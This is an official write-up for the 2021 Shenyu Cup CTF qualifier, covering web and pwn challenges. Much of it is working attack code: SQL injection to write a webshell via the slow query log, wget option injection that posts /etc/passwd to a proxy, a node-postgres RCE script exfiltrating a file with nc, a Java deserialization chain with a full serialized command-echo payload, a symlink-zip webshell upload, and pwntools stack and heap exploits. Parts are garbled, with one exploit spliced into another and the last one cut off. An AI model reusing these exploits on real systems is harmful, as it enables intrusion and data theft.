2021深育杯线上初赛官方 WriteUp 您所在的位置:网站首页 圣女魔力无所不能动漫樱花5集免费观看 2021深育杯线上初赛官方 WriteUp

2021深育杯线上初赛官方 WriteUp

#2021深育杯线上初赛官方 WriteUp| 来源: 网络整理| 查看: 265

作者:深信服千里目安全实验室 原文链接:https://mp.weixin.qq.com/s/Iwj_zNgYZKZvJOYuhmlz3w

Web EasySQL

访问robots.txt,可得三个文件index.php、config.php、helpyou2findflag.php。

fuzz黑名单,可发现select、单双引号、括号、分号、set、show、variables、等都没有过滤。

经测试可得到闭合方式为括号,且白名单为数据库记录行数,使用1);{sqlinject}-- +可以闭合查询语句并进行堆叠注入。

show variables like '%slow_query_log%'; # 查询慢日志记录是否开启 setglobal slow_query_log=1; # 开启慢查询日志 setglobal slow_query_log_file='/var/www/html/helpyou2findflag.php'; # 设置慢查询日志位置 查询慢日志记录有关的变量。

查询慢日志记录有关的变量。

修改慢查询日志的保存位置。

sleep函数再黑名单中因此不能直接使用,这里有一个考点:慢查询日志只会记录超过long_query_time时间的查询语句,因此要在写入webshell的sql语句中超过执行耗时命令,由于union和sleep都被过滤所以需要一定的绕过技巧,最简单的方式应该是修改long_query_time的值。

1);set global long_query_time=0.000001;--+ 1);show variables like 'long_query_time';--+

查询慢查询日志的判定时间。

查询一个webshell,查询记录就会被添加到slow_query_log_file变量所指向的位置,这里fuzz黑名单可知一句话木马中常见的关键词被过滤了,绕过一下即可:1);select '';--+ 访问helpyou2findflag.php即可访问webshell。

接下来就是找flag了,查看用户发现有rainbow用户,ip:port/helpyou2findflag.php?a=system&b=awk%20-F%27:%27%20%27{%20print%20$1}%27%20/etc/passwd,查看家目录发现有ssh.log,flag就在其中。

FakeWget

题目只有三个路由,一个输入点,容易判断考点是命令注入,因此需要先不断测试传入数据并刷新观察回显,来猜测后端与wget命令拼接逻辑和过滤逻辑,下面是三个比较典型的fuzz示例。 www.baidu.com

teststr with space www.badiu.com 这里fuzz出空格不可用

ls;\nwww.baidu.com 这里fuzz出分号不可用,同理可得反引号,|,;,&均被过滤,同时能够测试出可利用\n绕过正则检查,只需要构造出空格且领用wget命令即可

第一步测试出可利用\n绕过合法性检查,且特殊符号被替换成空格,至此已经能够构造出POC读文件了,利用http_proxy和--body-file参数读取本地文件发送到代理服务器上: -e;http_proxy=http://ip:port/;--method=POST;--body-file=/etc/passwd;\nwww.baidu.com 这里特殊符号被替换成空格,\n绕过了检查wget的grep命令,并将/etc/passwd的文件内容发送到代理机上:

接下来就是找flag文件,第三个路由(点击getflag)访问后看网站源码,可知flag文件名称是flag_is_here

建议的思路是:/etc/passwd看到有ctf_user用户,读取ctf_user用户的.bash_history得到flask程序的根目录是/home/ctf_user/basedirforwebapp/,直接读文件/home/ctf_user/basedirforwebapp/flag_is_here即可得到flag。

EasyWAF

访问首页“/”时,发现cookie为node=dGhlcmUgaXMgbm90aGluZ34h,base64解码后结果为“there is nothing~!”。

访问接口“/register”时,尝试进行注入,会提示“SQL Injection Attack Found! IP record!”。 正常访问接口“/register”时,返回结果为“IP have recorded!”,同时,发现设置了Cookie为node=bWF4X2FsbG93ZWRfcGFja2V0,base64解码后结果“max_allowed_packet”。

访问“/hint”时,发现cookie为node=fiBub2RlLXBvc3RncmVzIH4h,base64解码后结果为“~ node-postgres ~!”。

进一步进行注入探测,可以知道,过滤了以下字符串:   "select",   "union",   "and",   "or",   "\\",   "/",   "*",   " " 结合以上两点信息,可以知道此web服务使用nodejs,并且waf数据保存在mysql中,而注册数据保存在postgresql中,同时可以利用mysql的max_allowed_packet特性绕过waf,并结合nodejs postgres包的RCE漏洞进行利用,给出如下exp.py。

from random import randint import requests import sys # payload = "union" def exp(url, cmd):   print(cmd)   payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`%s`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' ' * 1024 * 1024 * 16, cmd)   username = str(randint(1, 65535)) + str(randint(1, 65535)) + str(randint(1, 65535))   data = { 'username': username + payload,'password': 'ABCDEF'}   print('ok')   r = requests.post(url, data = data)   print(r.content) if __name__ == '__main__':   exp(sys.argv[1], sys.argv[2])

执行“python3 exp.py http://ip:端口/register "cat flag.txt|nc ip 端口"”,如下。 远程服务器监听9999端口,获得flag。

Web-log

访问网站自动下载了一个log文件。 打开查看内容,提示logname错误,那么可能需要提交logname。

并且抓包可以发现filename的路径为logs/info/info.2021-08-22.log

提交参数仍然返回错误,但可以看到改文件名其实是一个日志文件名,那么他应该是按日分割的,代入今天的年月日。

发现成功读取到日志文件(这里无法做目录遍历),根据日志内容可判断,该web是springboot,对应的jar包名为cb-0.0.1-SNAPSHOT.jar,尝试是否可以下载jar包。

成功下载jar包。

反编译jar包,可以看到刚才访问请求方法为index。 并且发现还存在一个/bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser接口,对提交的user参数做base64解码,并进行反序列化,那么该处存在一个反序列化漏洞。

分析pom.xml文件,发现有commons-beanutils:1.8.2依赖,

但ysoserial工具里的CommonsBeanutils链,除了依赖commons-beanutils以外,还依赖commons-collections,导致无法使用。

这里需要找到一条无依赖CC包的利用链,如下图所示

public class CommonsBeanutilsNoCC {    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);   }    public byte[] getPayload(byte[] clazzBytes) throws Exception {        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});        setFieldValue(obj, "_name", "HelloTemplatesImpl");        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);        final PriorityQueue queue = new PriorityQueue(2, comparator);        // stub data for replacement later        queue.add("1");        queue.add("1");        setFieldValue(comparator, "property", "outputProperties");        setFieldValue(queue, "queue", new Object[]{obj, obj});        // ==================        // 生成序列化字符串        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(queue);        oos.close();        return barr.toByteArray();   } }

上述的clazzBytes需替换成springboot回显class,代码如下:

public class SpringEcho {    public SpringEcho() throws Exception {       {            Object httpresponse = null;            try {                Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes", new Class[0]).invoke(null, new Object[0]);                Object httprequest =  requestAttributes.getClass().getMethod("getRequest", new Class[0]).invoke(requestAttributes, new Object[0]);                httpresponse =  requestAttributes.getClass().getMethod("getResponse", new Class[0]).invoke(requestAttributes, new Object[0]);                String s = (String)httprequest.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(httprequest, new Object[]{"Cmd"});                if (s != null && !s.isEmpty()) {                    httpresponse.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(httpresponse, new Object[]{new Integer(200)});                    byte[] cmdBytes;                    if (s.equals("echo") ) {                        cmdBytes = System.getProperties().toString().getBytes();                   } else {                        String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c", s};                        cmdBytes = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\A").next().getBytes();                   }                    Object getWriter = httpresponse.getClass().getMethod("getWriter", new Class[0]).invoke(httpresponse, new Object[0]);                    getWriter.getClass().getMethod("write", new Class[]{String.class}).                        invoke(getWriter, new Object[]{(new String(cmdBytes))});                    getWriter.getClass().getMethod("flush", new Class[0]).invoke(getWriter, new Object[0]);                    getWriter.getClass().getMethod("close", new Class[0]).invoke(getWriter, new Object[0]);               }           } catch (Exception e) {                e.getStackTrace();           }       }   } }

两者结合生成序列化数据,提交到服务端,数据包如下:

POST /bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser HTTP/1.1 Host: 192.168.111.1:8081 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: deviceid=1626766160499; xinhu_ca_rempass=0; xinhu_ca_adminuser=zhangsan Connection: close Cmd: cat /tmp/RyJSYfyVl6i2ZnB9/flag_kzucLifFImOTUiLC.txt Content-Type: application/x-www-form-urlencoded Content-Length: 4377 user=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAISQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAALX2F1eENsYXNzZXN0ADtMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvSGFzaHRhYmxlO1sACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////wBwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2bAYIVOACAAB4cAAACiDK/rq%2bAAAAMgCzAQAaVGVzdC9HYWRnZXQyMjY1MzgxMzc4NDExMDAHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAGkdhZGdldDIyNjUzODEzNzg0MTEwMC5qYXZhAQAGPGluaXQ%2bAQADKClWDAAHAAgKAAQACQEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggACwEAD2phdmEvbGFuZy9DbGFzcwcADQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAAPABAKAA4AEQEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCAATAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAFQAWCgAOABcBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHABkBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMABsAHAoAGgAdAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAfACAKAAQAIQEACmdldFJlcXVlc3QIACMBAAtnZXRSZXNwb25zZQgAJQEACWdldEhlYWRlcggAJwEAEGphdmEvbGFuZy9TdHJpbmcHACkBAANDbWQIACsBAAdpc0VtcHR5AQADKClaDAAtAC4KACoALwEACXNldFN0YXR1cwgAMQEAEWphdmEvbGFuZy9JbnRlZ2VyBwAzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAA1ADYJADQANwEABChJKVYMAAcAOQoANAA6AQAJYWRkSGVhZGVyCAA8AQADVGFnCAA%2bAQAHc3VjY2VzcwgAQAEABGVjaG8IAEIBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAEQARQoAKgBGAQAQamF2YS9sYW5nL1N5c3RlbQcASAEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMAEoASwoASQBMAQATamF2YS91dGlsL0hhc2h0YWJsZQcATgEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsMAFAAUQoATwBSAQAIZ2V0Qnl0ZXMBAAQoKVtCDABUAFUKACoAVgEAB29zLm5hbWUIAFgBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABaAFsKAEkAXAEAC3RvTG93ZXJDYXNlDABeAFEKACoAXwEABndpbmRvdwgAYQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABjAGQKACoAZQEAB2NtZC5leGUIAGcBAAIvYwgAaQEABy9iaW4vc2gIAGsBAAItYwgAbQEAEWphdmEvdXRpbC9TY2FubmVyBwBvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwBxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwABwBzCgByAHQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAdgB3CgByAHgBABFqYXZhL2xhbmcvUHJvY2VzcwcAegEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAHwAfQoAewB%2bAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAHAIAKAHAAgQEAA1xcQQgAgwEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAhQCGCgBwAIcBAARuZXh0DACJAFEKAHAAigEACWdldFdyaXRlcggAjAEABXdyaXRlCACOAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgcAkAoAkQAJAQAGPT09PT09CACTAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsMAJUAlgoAkQCXAQAFKFtCKVYMAAcAmQoAKgCaCgCRAFIBAAVmbHVzaAgAnQEABWNsb3NlCACfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAoQEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKMBAA1nZXRTdGFja1RyYWNlAQAgKClbTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDsMAKUApgoApACnAQAEQ29kZQEACkV4Y2VwdGlvbnMBABNbTGphdmEvbGFuZy9TdHJpbmc7BwCrAQACW0IHAK0BAA1TdGFja01hcFRhYmxlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAsAoAsQAJACEAAgCxAAAAAAABAAEABwAIAAIAqQAAAjIACgAJAAAB3Sq3ALIBTBIMuAASEhQDvQAOtgAYAQO9AAS2AB5NLLYAIhIkA70ADrYAGCwDvQAEtgAeTiy2ACISJgO9AA62ABgsA70ABLYAHkwttgAiEigEvQAOWQMSKlO2ABgtBL0ABFkDEixTtgAewAAqOgQZBAGlAAsZBLYAMJkABqcBUyu2ACISMgS9AA5ZA7IAOFO2ABgrBL0ABFkDuwA0WREAyLcAO1O2AB5XK7YAIhI9Bb0ADlkDEipTWQQSKlO2ABgrBb0ABFkDEj9TWQQSQVO2AB5XGQQSQ7YAR5kAEbgATbYAU7YAVzoFpwBhElm4AF22AGASYrYAZpkAGQa9ACpZAxJoU1kEEmpTWQUZBFOnABYGvQAqWQMSbFNZBBJuU1kFGQRTOga7AHBZuwByWRkGtwB1tgB5tgB/twCCEoS2AIi2AIu2AFc6BSu2ACISjQO9AA62ABgrA70ABLYAHjoHGQe2ACISjwS9AA5ZAxIqU7YAGBkHBL0ABFkDuwCRWbcAkhKUtgCYuwAqWRkFtwCbtgCYEpS2AJi2AJxTtgAeVxkHtgAiEp4DvQAOtgAYGQcDvQAEtgAeVxkHtgAiEqADvQAOtgAYGQcDvQAEtgAeV6cADjoIGQi2AKhXpwADsQABAAYBzgHRAKIAAQCvAAAAOwAJ/wB7AAUHAAIHAAQHAAQHAAQHACoAAAL7AGolUgcArPwAJAcArvoAhv8AAgACBwACBwAEAAEHAKIKAKoAAAAEAAEAogABAAUAAAACAAZwdAAEUHducnB3AQB4cQB%2bAA54

拿到回显了。

tmp目录下找到flag文件。

获取到flag。

ZIPZIP

当解压操作可以覆盖上一次解压文件就可以造成任意文件上传漏洞。 查看upload.php源码。

zip.php

构造payload: 先构造一个指向 /var/www/html的软连接(因为html目录下是web环境,为了后续可以getshell)。

利用命令(zip --symlinks test.zip ./*)对test文件进行压缩:

此时 上传该test.zip 解压出里边的文件也是软连接 /var/www/html目录下 接下来的思路 就是想办法构造一个gethsell文件 让gethsell文件正好解压在/var/www/html 此时就可以getshell。 构造第二个压缩包,我们先创建一个test目录(因为上一个压缩包里边目录就是test),在test目录下写一个shell文件,在压缩创建的test目录 此时压缩包目录架构是:test/cmd.php 。 当我们上传这个压缩包时 会覆盖上一个test目录 但是 test目录软链接指向/var/www/html 解压的时候会把cmd.php 放在/var/www/html 此时我们达到了getsehll的目的 。

上传第一个压缩包:

在上传第二个压缩包文件,此时cmd.php 已经在/var/ww/html 目录下 访问 。

访问cmd.php 执行命令,成功读取到flag。

PWN Find_Flag

分析find_flag程序,存在的漏洞位于sub_132F函数中,该函数中,存在栈溢出漏洞,如下所示:

.text:000000000000132F sub_132F proc near ; CODE XREF: main+71↓p .text:000000000000132F ; __unwind { .text:000000000000132F endbr64 .text:0000000000001333 push rbp .text:0000000000001334 mov rbp, rsp .text:0000000000001337 sub rsp, 60h .text:000000000000133B mov rax, fs:28h .text:0000000000001344 mov [rbp-8], rax .text:0000000000001348 xor eax, eax .text:000000000000134A lea rdi, aHiWhatSYourNam ; "Hi! What's your name? " .text:0000000000001351 mov eax, 0 .text:0000000000001356 call sub_1100 .text:000000000000135B lea rax, [rbp-60h] .text:000000000000135F mov rdi, rax .text:0000000000001362 mov eax, 0 .text:0000000000001367 call sub_1110 ; gets读入数据,未限制大小 .text:000000000000136C lea rdi, aNiceToMeetYou ; "Nice to meet you, " .text:0000000000001373 mov eax, 0 .text:0000000000001378 call sub_1100 .text:000000000000137D lea rax, [rbp-60h] .text:0000000000001381 mov rcx, 0FFFFFFFFFFFFFFFFh .text:0000000000001388 mov rdx, rax .text:000000000000138B mov eax, 0 .text:0000000000001390 mov rdi, rdx .text:0000000000001393 repne scasb .text:0000000000001395 mov rax, rcx .text:0000000000001398 not rax .text:000000000000139B lea rdx, [rax-1] .text:000000000000139F lea rax, [rbp-60h] .text:00000000000013A3 add rax, rdx .text:00000000000013A6 mov word ptr [rax], 0A21h .text:00000000000013AB mov byte ptr [rax+2], 0 .text:00000000000013AF lea rax, [rbp-60h] .text:00000000000013B3 mov rdi, rax .text:00000000000013B6 mov eax, 0 .text:00000000000013BB call sub_1100 .text:00000000000013C0 lea rdi, aAnythingElse ; "Anything else? " .text:00000000000013C7 mov eax, 0 .text:00000000000013CC call sub_1100 .text:00000000000013D1 lea rax, [rbp-40h] .text:00000000000013D5 mov rdi, rax .text:00000000000013D8 mov eax, 0 .text:00000000000013DD call sub_1110 ; gets读入数据,未限制大小 .text:00000000000013E2 nop .text:00000000000013E3 mov rax, [rbp-8] .text:00000000000013E7 xor rax, fs:28h .text:00000000000013F0 jz short locret_13F7 .text:00000000000013F2 call sub_10D0 .text:00000000000013F7 .text:00000000000013F7 locret_13F7: ; CODE XREF: sub_132F+C1↑j .text:00000000000013F7 leave .text:00000000000013F8 retn .text:00000000000013F8 ; } // starts at 132F .text:00000000000013F8 sub_132F endp

利用代码如下所示:

from pwn import * import struct fs = "%17$lx,%19$lx" flag = 0x0000000000001231 ret_offset = 0x146f p = remote('127.0.0.1', 20701) #p = process('./canary') print((p.recvuntil('name? ')).decode()) p.sendline(fs.encode()) buf = (p.recvuntil('!\n').decode()) print(buf) data = buf.split()[4].split('!')[0] canary = (int((data.split(',')[0]), 16)) ret = (int((data.split(',')[1]), 16)) print(canary) print(ret) print(p.recvuntil('? ').decode()) payload = (("A"*56).encode()) payload += struct.pack(" 3 """ HEAP_BASE = 0 LIBC_BASE = 0 def create_page(size): io.sendline("1") io.recvuntil("both sides?") if 240 < size: io.sendline("2") else: io.sendline("1") io.sendline(str(size)) def remove_page(nr): io.sendline("4") io.recvuntil("Page:") io.sendline(str(nr)) def print_page(nr): io.sendline("3") io.recvuntil("Page:") io.sendline(str(nr)) def load_page(nr, data): io.sendline("2") io.recvuntil("Page:") io.sendline(str(nr)) io.recvuntil("Content:") io.send(data) def get_heapleak(pg_nr): global HEAP_BASE print_page(pg_nr) io.recvuntil("Content:") leakstr = io.recvline()[1:-1] + b"\x00\x00" print(hex(u64(leakstr))) heap_leak = u64(leakstr) HEAP_BASE = heap_leak - 0xd30 print("-" * 89) print("HEAPBASE: %s" % hex(HEAP_BASE)) def get_libcleak(pg_nr): global LIBC_BASE print_page(pg_nr) io.recvuntil("Content:") leakstr = io.recvline()[1:-1] + b"\x00\x00" print(hex(u64(leakstr))) libc_leak = u64(leakstr) LIBC_BASE = libc_leak - 0x3ec070 print("-" * 89) print("LIBC_BASE: %s" %hex(LIBC_BASE)) io = start() io.recvuntil("> ") # shellcode = asm(shellcraft.sh()) length = 0xf0-8 biglength = 0xf0 print("[*]First Create") create_page(0x1e0) #load_page(0, cyclic(0x1e0)) payload = b"A"*8 payload += p64(0x331) load_page(0, payload) io.sendline() create_page(0x40) create_page(0x50) create_page(0x60) create_page(40) create_page(0x1e0) create_page(0x90) create_page(0xf0) create_page(0xf0) create_page(0xf0) create_page(0xf0) create_page(0xf0) create_page(0xf0) create_page(0xf0) print("[*]Remove last 7") remove_page(7) remove_page(8) remove_page(9) remove_page(10) remove_page(11) remove_page(12) remove_page(13) print("[*]Create 0xf0") create_page(0xf0) print("[*]Heap Leak") get_heapleak(7) print("[*]Remove last") remove_page(7) #7 create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) create_page(0x1e0) #keep from merging with top remove_page(7) remove_page(8) remove_page(9) remove_page(10) remove_page(11) remove_page(12) remove_page(13) remove_page(14) remove_page(15) create_page(0x1d0) get_libcleak(7) remove_page(7) print("LIBC_BASE: %s" %hex(LIBC_BASE)) print("HEAP_BASE: %s" %hex(HEAP_BASE)) payload = b"-"*(0x100-8) payload += p64(0xf1) load_page(5, payload) io.sendline() #tcache is now full for 0x1e0, overflow the next chunk header and set prev size CHUNK_TO_COALESCE = HEAP_BASE+0x260 FAKECHUNK_BASE = CHUNK_TO_COALESCE+0x18 FREE_HOOK = LIBC_BASE+0x3ed8e8 payload = b"" payload += b"A"*32 payload += p64(0x330) #fake prev_size pointing to page 0 load_page(4, payload) payload = b"A"*8 payload += p64(0x331) payload += p64(FAKECHUNK_BASE) payload += p64(FAKECHUNK_BASE+0x8) payload += p64(0x0) payload += p64(0x0) payload += p64(CHUNK_TO_COALESCE) len(payload) load_page(0, payload) io.sendline() #io.interactive() # free the page we modified the chunk on remove_page(5) # we now have unsorted bin pointing to 0x270 offset which overlaps. Now create a page to get that pointer create_page(0x1d0) create_page(0x1d0) create_page(0x1d0) # then remove to get into tcache remove_page(5) remove_page(6) remove_page(7) remove_page(8) # 0x270 offset pointer is now in tcache # overwrite the next pointer payload = b"" payload += p64(0) payload += p64(0x1e1) payload += p64(FREE_HOOK) load_page(0, payload) io.sendline() create_page(0x1d0) create_page(0x1d0) # Write the magic gadget to __free_hook ptr payload = p64(LIBC_BASE+0x4f432) load_page(6, payload) io.sendline() # free a page remove_page(3) io.interactive() """ 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL """ CreateCode

反编译create_code,漏洞点见如下代码注释处:

.text:00000000000013F0 sub_13F0 proc near ; CODE XREF: main+AE↓p .text:00000000000013F0 ; __unwind { .text:00000000000013F0 endbr64 .text:00000000000013F4 push rbp .text:00000000000013F5 mov rbp, rsp .text:00000000000013F8 sub rsp, 10h .text:00000000000013FC mov dword ptr [rbp-0Ch], 0 .text:0000000000001403 mov eax, cs:dword_4040 .text:0000000000001409 cmp eax, 2Eh ; '.' .text:000000000000140C jle short loc_142E .text:000000000000140E mov edx, 0Fh .text:0000000000001413 lea rsi, aNoMoreData ; "no more data.\n" .text:000000000000141A mov edi, 1 .text:000000000000141F mov eax, 0 .text:0000000000001424 call sub_10C0 .text:0000000000001429 jmp locret_153C .text:000000000000142E ; --------------------------------------------------------------------------- .text:000000000000142E .text:000000000000142E loc_142E: ; CODE XREF: sub_13F0+1C↑j .text:000000000000142E mov eax, cs:dword_4040 .text:0000000000001434 add eax, 1 .text:0000000000001437 mov cs:dword_4040, eax .text:000000000000143D mov edi, 324h .text:0000000000001442 call sub_10F0 ; 申请1000字节大小的内存 .text:0000000000001447 mov [rbp-8], rax .text:000000000000144B mov rax, [rbp-8] .text:000000000000144F and rax, 0FFFFFFFFFFFFF000h .text:0000000000001455 mov edx, 7 .text:000000000000145A mov esi, 1000h .text:000000000000145F mov rdi, rax .text:0000000000001462 call sub_1100 ; 设置申请的内存属性为RWX .text:0000000000001467 mov edx, 9 .text:000000000000146C lea rsi, aContent ; "content: " .text:0000000000001473 mov edi, 1 .text:0000000000001478 mov eax, 0 .text:000000000000147D call sub_10C0 .text:0000000000001482 mov rax, [rbp-8] .text:0000000000001486 mov edx, 3E8h .text:000000000000148B mov rsi, rax .text:000000000000148E mov edi, 0 .text:0000000000001493 mov eax, 0 .text:0000000000001498 call sub_10E0 ; 读取数据到内存中 .text:000000000000149D mov eax, cs:dword_4040 .text:00000000000014A3 cdqe .text:00000000000014A5 lea rcx, ds:0[rax*8] .text:00000000000014AD lea rdx, unk_4060 .text:00000000000014B4 mov rax, [rbp-8] .text:00000000000014B8 mov [rcx+rdx], rax .text:00000000000014BC mov rax, [rbp-8] .text:00000000000014C0 mov eax, [rax] .text:00000000000014C2 cmp eax, 0F012F012h ; 判断起始地址是否为0xF012F012 .text:00000000000014C7 jnz short loc_1517 .text:00000000000014C9 jmp short loc_14EF .text:00000000000014CB ; --------------------------------------------------------------------------- .text:00000000000014CB .text:00000000000014CB loc_14CB: ; CODE XREF: sub_13F0+106↓j .text:00000000000014CB mov rdx, [rbp-8] .text:00000000000014CF mov eax, [rbp-0Ch] .text:00000000000014D2 cdqe .text:00000000000014D4 movzx eax, byte ptr [rdx+rax+4] .text:00000000000014D9 cmp al, 0Fh ; 判断数据值是否>0xF .text:00000000000014DB jbe short loc_14EB .text:00000000000014DD mov rdx, [rbp-8] .text:00000000000014E1 mov eax, [rbp-0Ch] .text:00000000000014E4 cdqe .text:00000000000014E6 mov byte ptr [rdx+rax+4], 0 ; 大于0xF,则置0 .text:00000000000014EB .text:00000000000014EB loc_14EB: ; CODE XREF: sub_13F0+EB↑j .text:00000000000014EB add dword ptr [rbp-0Ch], 1 .text:00000000000014EF .text:00000000000014EF loc_14EF: ; CODE XREF: sub_13F0+D9↑j .text:00000000000014EF cmp dword ptr [rbp-0Ch], 3E7h 遍历内存中的数据 .text:00000000000014F6 jle short loc_14CB .text:00000000000014F8 mov rax, [rbp-8] .text:00000000000014FC add rax, 4 .text:0000000000001500 mov cs:qword_4048, rax .text:0000000000001507 mov rdx, cs:qword_4048 .text:000000000000150E mov eax, 0 .text:0000000000001513 call rdx ; qword_4048 ; 执行申请内存处的代码 .text:0000000000001515 jmp short loc_1521 .text:0000000000001517 ; --------------------------------------------------------------------------- .text:0000000000001517 .text:0000000000001517 loc_1517: ; CODE XREF: sub_13F0+D7↑j .text:0000000000001517 mov rax, [rbp-8] .text:000000000000151B mov dword ptr [rax], 4 .text:0000000000001521 .text:0000000000001521 loc_1521: ; CODE XREF: sub_13F0+125↑j .text:0000000000001521 mov edx, 15h .text:0000000000001526 lea rsi, aCreateSuccessf ; "create successfully.\n" .text:000000000000152D mov edi, 1 .text:0000000000001532 mov eax, 0 .text:0000000000001537 call sub_10C0 .text:000000000000153C .text:000000000000153C locret_153C: ; CODE XREF: sub_13F0+39↑j .text:000000000000153C leave .text:000000000000153D retn .text:000000000000153D ; } // starts at 13F0 .text:000000000000153D sub_13F0 endp

通过上述分析,可以知道,申请了1000字节RWX内存,当前四字节内容为0xF012F012时,会为进一步判断后续内存数据,数据内容限定在0~0xF之间,后续直接执行此处代码。因而,这里可以使用如下指令进行构造,exp如下:

